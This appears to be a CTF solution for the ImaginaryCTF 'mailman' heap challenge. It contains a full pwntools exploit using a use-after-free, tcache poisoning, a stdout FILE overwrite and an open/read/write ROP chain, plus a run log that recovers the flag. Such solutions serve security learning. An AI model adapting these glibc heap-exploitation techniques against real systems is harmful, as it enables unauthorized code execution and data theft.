1
rop = pwn.ROP(libc, base=stack)
2

3
# ROPchain
4
rop(rax=pwn.constants.SYS_open, rdi=stack + 0xde + 2 - 0x18, rsi=pwn.constants.O_RDONLY) # open
5
rop.call(rop.find_gadget(["syscall", "ret"]))
6
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=(stack & ~0xfff), rdx=0x300) # file descriptor bf ...
7
rop.call(rop.find_gadget(["syscall", "ret"]))
8

9
rop(rax=pwn.constants.SYS_write, rdi=1, rsi=(stack & ~0xfff), rdx=0x50) # write
10
rop.call(rop.find_gadget(["syscall", "ret"]))
11
rop.raw("./flag.txt\x00")
12

13
# victim => tcache
14
free(8)
15

16
# prev => tcache 0x140
17
free(7)
18

19
# tcache poisoning
20
add(5, 0x130, b"T"*0x100 + pwn.p64(0) + pwn.p64(0x111) + pwn.p64(((stack - 0x28) ^ ((heap + 0x2b90) >> 12))))
21
add(2, 0x100, b"TT") # dumb
22

23
print(rop.dump())
24
add(3, 0x100, pwn.p64(0x1337)*5 + rop.chain())
25

26
io.interactive()

1
$ python3 exploit.py REMOTE HOST=mailman.chal.imaginaryctf.org PORT=1337
2
[*] '/home/nasm/Documents/pwn/ImaginaryCTF/mailman/vuln'
3
    Arch:     amd64-64-little
4
    RELRO:    Full RELRO
5
    Stack:    Canary found
6
    NX:       NX enabled
7
    PIE:      PIE enabled
8
[*] '/home/nasm/Documents/pwn/ImaginaryCTF/mailman/libc.so.6'
9
    Arch:     amd64-64-little
10
    RELRO:    Partial RELRO
11
    Stack:    Canary found
12
    NX:       NX enabled
13
    PIE:      PIE enabled
14
[*] '/home/nasm/Documents/pwn/ImaginaryCTF/mailman/ld-linux-x86-64.so.2'
15
    Arch:     amd64-64-little
16
    RELRO:    Partial RELRO
17
    Stack:    No canary found
18
    NX:       NX enabled
19
    PIE:      PIE enabled
20
[+] Opening connection to mailman.chal.imaginaryctf.org on port 1337: Done
21
[*] heap @ 0x5611bbf93000
22
[+] libc: 0x7f6b49fec000
23
[+] environ: 0x7f6b4a2932d8
24
[+] stdout: 0x7f6b4a206780
25
[*] stack: 0x7fff28533ba8
26
[*] Loaded 218 cached gadgets for '/home/nasm/Documents/pwn/ImaginaryCTF/mailman/libc.so.6'
27
[*] Switching to interactive mode
28
ictf{i_guess_the_post_office_couldnt_hide_the_heapnote_underneath_912b123f}

1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3

4
# this exploit was generated via
5
# 1) pwntools
6
# 2) ctfmate
7

8
import os
9
import time
10
import pwn
11

12
BINARY = "vuln"
13
LIBC = "/home/alexis/Documents/pwn/ImaginaryCTF/mailman/libc.so.6"
14
LD = "/home/alexis/Documents/pwn/ImaginaryCTF/mailman/ld-linux-x86-64.so.2"
15

16
# Set up pwntools for the correct architecture
17
exe = pwn.context.binary = pwn.ELF(BINARY)
18
libc = pwn.ELF(LIBC)
19
ld = pwn.ELF(LD)
20
pwn.context.terminal = ["tmux", "splitw", "-h"]
21
pwn.context.delete_corefiles = True
22
pwn.context.rename_corefiles = False
23
pwn.context.timeout = 3
24
p64 = pwn.p64
25
u64 = pwn.u64
26
p32 = pwn.p32
27
u32 = pwn.u32
28
p16 = pwn.p16
29
u16 = pwn.u16
30
p8  = pwn.p8
31
u8  = pwn.u8
32

33
host = pwn.args.HOST or '127.0.0.1'
34
port = int(pwn.args.PORT or 1337)
35

36

37
def local(argv=[], *a, **kw):
38
    '''Execute the target binary locally'''
39
    if pwn.args.GDB:
40
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
41
    else:
42
        return pwn.process([exe.path] + argv, *a, **kw)
43

44

45
def remote(argv=[], *a, **kw):
46
    '''Connect to the process on the remote host'''
47
    io = pwn.connect(host, port)
48
    if pwn.args.GDB:
49
        pwn.gdb.attach(io, gdbscript=gdbscript)
50
    return io
51

52

53
def start(argv=[], *a, **kw):
54
    '''Start the exploit against the target.'''
55
    if pwn.args.LOCAL:
56
        return local(argv, *a, **kw)
57
    else:
58
        return remote(argv, *a, **kw)
59

60

61
gdbscript = '''
62
source ~/Downloads/pwndbg/gdbinit.py
63
b* main
64
'''.format(**locals())
65

66
def exp():
67
    io = start()
68

69
    def add(idx, size, data, noLine=False):
70
        io.sendlineafter(b"> ", b"1")
71
        io.sendlineafter(b"idx: ", str(idx).encode())
72
        io.sendlineafter(b"size: ", str(size).encode())
73

74
        if not noLine:
75
            io.sendlineafter(b"content: ", data)
76
        else:
77
            io.sendafter(b"content: ", data)
78

79
    def view(idx):
80
        io.sendlineafter(b"> ", b"3")
81
        io.sendlineafter(b"idx: ", str(idx).encode())
82

83
    def free(idx):
84
        io.sendlineafter(b"> ", b"2")
85
        io.sendlineafter(b"idx: ", str(idx).encode())
86

87
    for i in range(7):
88
        add(i, 0x100, b"")
89

90
    # leak
91

92
    free(0)
93
    view(0)
94

95
    heap = ((pwn.u64(io.recvline()[:-1].ljust(8, b"\x00")) << 12) - 0x2000)
96
    pwn.log.info(f"heap @ {hex(heap)}")
97

98
    add(0, 0x100, b"YY")
99

100
    add(7, 0x100, b"YY") # prev
101
    add(8, 0x100, b"YY") # a
102

103
    # fill tcache
104
    for i in range(7):
105
        free(i)
106

107
    for _ in range(20):
108
        add(9, 0x10, b"/bin/sh\0") # barrier
109

110
    free(8) # free(a) => unsortedbin
111
    free(7) # free(prev) => merged with a
112

113
    # leak libc
114
    view(8)
115

116
    libc.address = pwn.u64(io.recvline()[:-1].ljust(8, b"\x00")) - 0x219ce0 # offset of the unsorted bin
117
    pwn.log.success(f"libc: {hex(libc.address)}")
118

119
    stdout = libc.address + 0x21a780
120
    environ = libc.address + 0x2a72d0 + 8
121
    strr = libc.address + 0x1bd460
122

123
    pwn.log.success(f"environ: {hex(environ)}")
124
    pwn.log.success(f"stdout: {hex(stdout)}")
125

126
    add(0, 0x100, b"YY") # pop a chunk from the tcache to let an entry left to a
127
    free(8) # free(a) => tcache
128

129
    # unsortedbin => oob on a => tcache poisoning
130
    add(
131
        1, 0x130, pwn.flat(
132
                            b"T"*0x108 + pwn.p64(0x111),
133
                           (stdout) ^ ((heap + 0x2b90) >> 12)
134
                           )
135
        )
136
    add(2, 0x100, b"TT")
137

138
    # tcache => stdout
139
    add(3, 0x100, pwn.flat(0xfbad1800, # _flags
140
                           libc.sym.environ, # _IO_read_ptr
141
                           libc.sym.environ, # _IO_read_end
142
                           libc.sym.environ, # _IO_read_base
143
                           libc.sym.environ, # _IO_write_base
144
                           libc.sym.environ + 0x8, # _IO_write_ptr
145
                           libc.sym.environ + 0x8, # _IO_write_end
146
                           libc.sym.environ + 0x8, # _IO_buf_base
147
                           libc.sym.environ + 8 # _IO_buf_end
148
                           )
149
        )
150

151
    stack = pwn.u64(io.recv(8)[:-1].ljust(8, b"\x00")) - 0x160 # stackframe of fgets
152
    pwn.log.info(f"stack: {hex(stack)}")
153

154
    rop = pwn.ROP(libc, base=stack)
155

156
    # ROPchain
157
    rop(rax=pwn.constants.SYS_open, rdi=stack + 0xde + 2 - 0x18, rsi=pwn.constants.O_RDONLY) # open
158
    rop.call(rop.find_gadget(["syscall", "ret"]))
159
    rop(rax=pwn.constants.SYS_read, rdi=3, rsi=(stack & ~0xfff), rdx=0x300) # file descriptor bf ...
160
    rop.call(rop.find_gadget(["syscall", "ret"]))
161

162
    rop(rax=pwn.constants.SYS_write, rdi=1, rsi=(stack & ~0xfff), rdx=0x50) # write
163
    rop.call(rop.find_gadget(["syscall", "ret"]))
164
    rop.raw("./flag.txt\x00")
165

166
    # victim => tcache
167
    free(8)
168

169
    # prev => tcache 0x140
170
    free(7)
171

172
    # tcache poisoning
173
    add(5, 0x130, b"T"*0x100 + pwn.p64(0) + pwn.p64(0x111) + pwn.p64(((stack - 0x28) ^ ((heap + 0x2b90) >> 12))))
174
    add(2, 0x100, b"TT") # dumb
175

176
    print(rop.dump())
177
    add(3, 0x100, pwn.p64(0x1337)*5 + rop.chain())
178

179
    io.interactive()
180

181
if __name__ == "__main__":
182
    exp()